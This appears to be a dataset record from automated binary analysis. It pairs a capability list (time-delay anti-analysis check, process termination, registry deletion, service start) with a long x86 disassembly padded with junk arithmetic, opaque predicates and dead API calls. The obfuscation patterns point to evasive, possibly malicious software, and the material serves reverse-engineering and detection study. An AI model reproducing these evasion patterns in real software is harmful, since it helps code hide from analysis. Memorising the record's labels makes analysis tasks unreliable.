Function at 0x100354c7
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check os version
Create process on windows
Delete directory
Delete registry value
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get file attributes
Get file system object information
Get memory capacity
Query environment variable
Read .ini file
Set thread local storage value
Start service
Terminate process

Disassembly:
mov eax, 0x1009215d
call fcn.10091ae8
mov eax, 0x163c
call fcn.1008e2a0
push ebx
mov dword [ebp - 0x4c], 0x469ad59e
xor ebx, ebx
mov dword [ebp - 0x3c], 0x9a46bb21
inc ebx
mov dword [ebp - 0x5c], 0xc59458d8
xor eax, eax
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x1c], eax
push esi
push edi
mov byte [ebp - 0x7d], dl
mov dword [ebp - 0x60], ecx
cmp dword [ebp - 0x1c], ebx
jge 0x1003551d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x9c], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10035509
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop esi
cmp dword [ebp - 0x1c], esi
jge 0x10035540
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x88c], 0xafd208dd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10035528
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10035563
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x14d0], 0x5bcd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003554b
xor eax, eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], eax
jg 0x100356cd
jmp 0x10035573
xor eax, eax
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1003559a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xca0], 0x59653e3f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10035582
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x100355b0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe44], 0xb5a26cde
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003559f
mov eax, dword [ebp - 0x4c]
xor ebx, ebx
cmp dword [ebp + eax*4 - 0x9c], ebx
je 0x10035628
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0x9c], ebx
jne 0x10035617
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0x9c], 0xffffffff
jb 0x100355e6
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x9c]
mov eax, dword [ebp - 0x4c]
xor ebx, ebx
xor ecx, ecx
inc ebx
mov eax, dword [ebp + eax*4 - 0x9c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x9c]
cmp eax, ebx
mov eax, dword [ebp - 0x4c]
setg cl
imul ecx, dword [ebp + eax*4 - 0x9c]
test ecx, ecx
jne 0x1003561a
xor eax, eax
jmp 0x1003561c
xor ebx, ebx
inc ebx
mov eax, ebx
cmp eax, dword [ebp - 0x9c]
je 0x1003562b
mov ecx, ebx
jmp 0x1003562d
xor ebx, ebx
inc ebx
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
cmp ecx, 0xcadfb1af
mov edx, dword [ebp + eax*4 - 0x9c]
sbb eax, eax
add eax, 0xffff0002
xor ecx, ecx
add edx, eax
mov eax, dword [ebp - 0x9c]
cmp edx, eax
setle cl
xor eax, eax
cmp eax, ecx
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x220985a9
mov eax, dword [ebp - 0x4c]
setne cl
add eax, ecx
mov dword [ebp - 0xc98], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x100356be
mov dword [ebp - 0x40], 0xfb389fa1
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xe44], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xc98]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], 0x6042c8cd
cmp dword [ebp - 0x3c], 0
jne 0x100356bc
dec dword [ebp - 0x10]
jns 0x10035679
xor eax, eax
inc dword [ebp - 0x4c]
push 3
pop ecx
cmp dword [ebp - 0x4c], eax
jle 0x10035571
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x4c], eax
jne 0x10035727
mov dword [ebp - 0x30], 0x5c00d4b
mov dword [ebp - 0x14], 0
jmp 0x100356f6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1464], 0xfa755584
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100356e5
mov dword [ebp - 0x14], 0
jmp 0x10035715
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf78], 0x3fa8726a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10035704
inc dword [ebp - 0xf70]
xor eax, eax
jmp 0x100357ad
mov dword [ebp - 0x10], 0x1e1d
xor eax, eax
mov dword [ebp - 0x34], 7
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x10035756
push 0x1abe
push 0x1e4c
push eax
push 0x264b
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x888]
jg 0x10035767
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x10], 0xfffffffc
je 0x10035777
cmp dword [ebp - 0x10], 0
je 0x10035777
mov eax, ebx
jmp 0x10035779
xor eax, eax
add eax, 0xaa7a
cmp eax, dword [ebp - 0x4c]
je 0x1003578d
cmp dword [ebp - 0x10], 0
je 0x1003578d
mov edx, ebx
jmp 0x1003578f
xor edx, edx
mov eax, dword [ebp - 0x888]
xor ecx, ecx
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
cmp eax, edx
setg cl
mov dword [ebp - 0x5c], ecx
mov eax, dword [ebp - 0x5c]
xor eax, eax
mov dword [ebp - 0x34], eax
mov edi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov dword [ebp - 0x4c], 0x15de
push 6
mov dword [ebp - 0x14], ebx
pop ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], esi
jmp 0x10035824
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x100357eb
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x12d8], 7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100357d3
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10035803
push 0xafb
push 0x189e
push eax
call edi
xor eax, eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
jl 0x10035821
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1003581c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor eax, eax
dec dword [ebp - 0x10]
jns 0x1003580b
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xe
jl 0x100357c8
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10035849
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call esi
xor eax, eax
mov dword [ebp - 0x20], 0xfffffff7
push 4
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x1003586c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5d0], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003585b
mov eax, dword [ebp - 0x5d0]
cmp eax, dword [ebp - 0x5c4]
jg 0x100358d3
mov dword [ebp - 0x3c], 0xaeb9ae77
xor edx, edx
mov dword [ebp - 0x34], 0xfffffff8
mov ecx, dword [ebp - 0x5d0]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
mov eax, dword [ebp - 0x5d0]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x5c4]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x5d0]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setge cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
jmp 0x1003590c
mov dword [ebp - 0x20], 9
mov dword [ebp - 0x34], 0
dec dword [ebp - 0x20]
je 0x100358fa
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jne 0x100358f1
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jg 0x100358fa
mov edx, ebx
jmp 0x100358fc
xor edx, edx
mov eax, dword [ebp - 0x5d0]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x34], ecx
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1003597f
mov dword [ebp - 0x3c], 0x627e80a
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003593c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe58], 0xfffffff7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10035923
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10035964
cmp dword [ebp - 0x58], eax
jne 0x1003595c
cmp dword [ebp - 0x5c8], ebx
jne 0x10035955
mov ecx, ebx
cmp dword [ebp - 0x3c], eax
jne 0x10035957
mov ecx, eax
cmp ecx, dword [ebp - 0x3c]
je 0x10035964
mov eax, dword [ebp - 0x5d0]
xor eax, eax
mov dword [ebp - 0xe54], ebx
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1003597c
push eax
call dword [sym.imp.USER32.dll_DestroyMenu]
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe6
jge 0x10035913
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100359a5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x40c], 0xb8eb5ea2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1003598d
xor eax, eax
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x100359c7
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7f4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100359b2
xor ebx, ebx
inc ebx
mov eax, dword [ebp - 0x4c]
inc eax
je 0x100359d0
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
imul ecx, dword [ebp - 0x4c]
imul ecx, dword [ebp - 0x4c]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
mov dword [ebp - 0x14], ecx
mov ecx, eax
cmp dword [ebp - 0x14], eax
je 0x10035a19
mov ecx, ebx
mov eax, dword [ebp - 0x40c]
imul eax, ecx
push 3
pop ecx
mov dword [ebp - 0x7ec], eax
xor eax, eax
mov dword [ebp - 0x4c], eax
jmp 0x10035b01
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], eax
jl 0x10035afe
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp eax, 0x7606e82a
mov eax, dword [ebp - 0x10]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x7f4]
cmp eax, edx
mov eax, dword [ebp - 0x10]
setne cl
cmp ecx, 0xb45c761b
sbb ecx, ecx
neg ecx
sub eax, ecx
jne 0x10035a84
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x7f4]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x7f4]
cmp eax, edx
setg cl
cmp ecx, dword [ebp - 0x40c]
jg 0x10035abd
mov dword [ebp - 0x34], 0xb9cec02d
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7f4], ecx
jmp 0x10035af0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x40], 0x9bb643c8
inc dword [ebp - 0x40]
mov dword [ebp - 0x40], 0x17
cmp dword [ebp - 0x40], 0x15
jne 0x10035af0
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7f4], ebx
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x15
je 0x10035add
dec dword [ebp - 0x14]
jns 0x10035a48
push 3
xor eax, eax
pop ecx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ecx
jle 0x10035a35
mov dword [ebp - 0x28], 0x8c6a53d0
mov dword [ebp - 0x28], 0xfffffffe
cmp dword [ebp - 0x28], eax
je 0x10035c4d
mov dword [ebp - 0x40], 0x1836ccb0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10035b4a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x588], 0x88a137b1
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10035b31
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10035b61
push 0x2555
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
xor edx, edx
inc edx
mov dword [ebp - 0x40], edx
cmp dword [ebp - 0x40], eax
jl 0x10035c41
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x3c], 0xfffffff9
mov ecx, dword [ebp - 0x588]
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x588], ecx
mov dword [ebp - 0x38], 0xffffffed
jmp 0x10035c2c
mov dword [ebp - 0x20], 0x3717be9f
mov dword [ebp - 0x20], 0xffffffe3
cmp dword [ebp - 0x20], 0xa
jle 0x10035c29
xor eax, eax
mov dword [ebp - 0x44], 0xcd9d75
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], eax
jl 0x10035c19
mov dword [ebp - 0x10], 0xc1da7bc9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jg 0x10035bf9
xor ebx, ebx
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0x588], ebx
jne 0x10035bea
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0x588], ebx
jne 0x10035bea
xor eax, eax
xor ebx, ebx
jmp 0x10035bec
mov eax, edx
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jle 0x10035bcc
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10035c14
push 0x10d3
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor edx, edx
xor eax, eax
inc edx
dec dword [ebp - 0x44]
jns 0x10035bbb
mov dword [ebp - 0x3c], 0xa2d34caa
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xa
jg 0x10035bac
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x12
jge 0x10035b96
dec dword [ebp - 0x40]
jns 0x10035b70
xor eax, eax
inc dword [ebp - 0x28]
jne 0x10035b21
push 3
pop ecx
mov dword [ebp - 0x4c], 0x469ad59e
xor ebx, ebx
mov dword [ebp - 0x3c], 0x9a46bb21
inc ebx
mov dword [ebp - 0x5c], 0xc59458d8
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10035c84
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x90], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10035c70
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10035ca6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x894], 0xafd208dd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10035c8d
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x10035cc6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x15a8], 0x5bcd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10035cae
xor eax, eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], eax
jg 0x10035e31
jmp 0x10035cd6
xor eax, eax
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x10035cfd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xcb4], 0x59653e3f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10035ce5
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10035d13
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe6c], 0xb5a26cde
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10035d02
mov eax, dword [ebp - 0x4c]
xor ebx, ebx
cmp dword [ebp + eax*4 - 0x90], ebx
je 0x10035d8c
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0x90], ebx
jne 0x10035d7b
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0x90], 0xffffffff
jb 0x10035d4a
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x90]
mov eax, dword [ebp - 0x4c]
xor ebx, ebx
xor ecx, ecx
inc ebx
mov eax, dword [ebp + eax*4 - 0x90]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x90]
cmp eax, ebx
mov eax, dword [ebp - 0x4c]
setg cl
imul ecx, dword [ebp + eax*4 - 0x90]
test ecx, ecx
jne 0x10035d7e
xor eax, eax
jmp 0x10035d80
xor ebx, ebx
inc ebx
mov eax, ebx
cmp eax, dword [ebp - 0x90]
je 0x10035d8f
mov ecx, ebx
jmp 0x10035d91
xor ebx, ebx
inc ebx
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
cmp ecx, 0xcadfb1af
mov edx, dword [ebp + eax*4 - 0x90]
sbb eax, eax
add eax, 0xffff0002
xor ecx, ecx
add edx, eax
mov eax, dword [ebp - 0x90]
cmp edx, eax
setle cl
xor eax, eax
cmp eax, ecx
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x220985a9
mov eax, dword [ebp - 0x4c]
setne cl
add eax, ecx
mov dword [ebp - 0xcac], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x10035e22
mov dword [ebp - 0x40], 0xfb389fa1
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xe6c], eax
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xcac]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], 0x6042c8cd
cmp dword [ebp - 0x3c], 0
jne 0x10035e20
dec dword [ebp - 0x10]
jns 0x10035ddd
xor eax, eax
inc dword [ebp - 0x4c]
push 3
pop ecx
cmp dword [ebp - 0x4c], eax
jle 0x10035cd4
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x4c], eax
jne 0x10035e8b
mov dword [ebp - 0x30], 0x5c00d4b
mov dword [ebp - 0x14], 0
jmp 0x10035e5a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x147c], 0xfa755584
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10035e49
mov dword [ebp - 0x14], 0
jmp 0x10035e79
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe50], 0x3fa8726a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10035e68
inc dword [ebp - 0xe48]
xor eax, eax
jmp 0x10035f11
mov dword [ebp - 0x10], 0x1e1d
xor eax, eax
mov dword [ebp - 0x34], 7
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x10035eba
push 0x1abe
push 0x1e4c
push eax
push 0x264b
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x890]
jg 0x10035ecb
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x10], 0xfffffffc
je 0x10035edb
cmp dword [ebp - 0x10], 0
je 0x10035edb
mov eax, ebx
jmp 0x10035edd
xor eax, eax
add eax, 0xaa7a
cmp eax, dword [ebp - 0x4c]
je 0x10035ef1
cmp dword [ebp - 0x10], 0
je 0x10035ef1
mov edx, ebx
jmp 0x10035ef3
xor edx, edx
mov eax, dword [ebp - 0x890]
xor ecx, ecx
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
cmp eax, edx
setg cl
mov dword [ebp - 0x5c], ecx
mov eax, dword [ebp - 0x5c]
xor eax, eax
mov dword [ebp - 0x34], eax
push 6
mov dword [ebp - 0x4c], 0x15de
pop ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], 2
jmp 0x10035f85
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10035f4c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1288], 7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10035f33
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10035f64
push 0xafb
push 0x189e
push eax
call edi
xor eax, eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
jl 0x10035f82
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10035f7d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor eax, eax
dec dword [ebp - 0x10]
jns 0x10035f6c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xe
jl 0x10035f27
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10035fa4
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call esi
xor eax, eax
push 0xfffffffffffffff7
xor esi, esi
pop edi
inc esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], edi
push 4
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x10], eax
pop ebx
jmp 0x10035fcc
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5a8], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10035fbb
mov eax, dword [ebp - 0x5a8]
cmp eax, dword [ebp - 0x59c]
jg 0x10036033
mov dword [ebp - 0x3c], 0xaeb9ae77
xor edx, edx
mov dword [ebp - 0x34], 0xfffffff8
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x5a8]
cmp ecx, eax
mov eax, dword [ebp - 0x5a8]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x59c]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x5a8]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setge cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
jmp 0x1003606c
mov dword [ebp - 0x20], 9
mov dword [ebp - 0x34], 0
dec dword [ebp - 0x20]
je 0x1003605a
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jne 0x10036051
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jg 0x1003605a
mov edx, esi
jmp 0x1003605c
xor edx, edx
mov eax, dword [ebp - 0x5a8]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x34], ecx
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x100360db
mov dword [ebp - 0x3c], 0x627e80a
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10036098
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe3c], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10036083
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x100360c0
cmp dword [ebp - 0x58], eax
jne 0x100360b8
cmp dword [ebp - 0x5a0], esi
jne 0x100360b1
mov ecx, esi
cmp dword [ebp - 0x3c], eax
jne 0x100360b3
mov ecx, eax
cmp ecx, dword [ebp - 0x3c]
je 0x100360c0
mov eax, dword [ebp - 0x5a8]
xor eax, eax
mov dword [ebp - 0xe38], esi
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x100360d8
push eax
call dword [sym.imp.USER32.dll_DestroyMenu]
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe6
jge 0x10036073
push 3
mov dword [ebp - 0x10], eax
pop edi
cmp dword [ebp - 0x10], edi
jge 0x10036104
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1554], 0x4e2db58e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x100360ec
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10036117
push eax
push eax
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10036129
push eax
call dword [sym.imp.GDI32.dll_CreateBitmapIndirect]
xor eax, eax
mov dword [ebp - 0x34], 0x4a11
push 0xfffffffffffffffe
mov dword [ebp - 0x20], 0xfffffffd
pop edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10036160
xor ebx, ebx
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x35c], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10036148
push 4
xor eax, eax
pop ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10036180
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x368], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10036168
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x100361a0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x684], 0xffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10036188
xor eax, eax
cmp dword [ebp - 0x364], eax
jle 0x100361ab
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x364]
xor ecx, ecx
mov eax, dword [ebp - 0x368]
sub eax, dword [ebp - 0x360]
cmp eax, 0x76ac
mov dword [ebp - 0x5c], 0xd5ab883e
mov eax, dword [ebp - 0x684]
setl cl
sub ecx, eax
mov dword [ebp - 0x364], ecx
mov eax, dword [ebp - 0x358]
inc dword [ebp - 0x358]
cmp eax, ecx
je 0x1003623a
cmp dword [ebp - 0x364], 0
je 0x1003623a
mov dword [ebp - 0x3c], 0xffff
xor ecx, ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x3c], 0x3c7d7575
mov dword [ebp - 0x3c], 0x767c
mov eax, dword [ebp - 0x3c]
dec eax
cmp eax, edx
setne cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x364]
cmp dword [ebp - 0x3c], eax
je 0x10036230
cmp dword [ebp - 0x34], 0
je 0x10036230
mov eax, esi
jmp 0x10036232
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1003633f
mov dword [ebp - 0x38], 0x104dbc0b
mov dword [ebp - 0x44], 0x8f781be2
mov dword [ebp - 0x34], 0xdea8f443
mov dword [ebp - 0x10], 0
jmp 0x10036269
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x8a4], 0x30ea3bbe
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10036258
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], 0x76a9
mov eax, dword [ebp - 0x44]
cmp eax, esi
setle cl
cmp dword [ebp - 0x5c], ecx
sbb eax, eax
neg eax
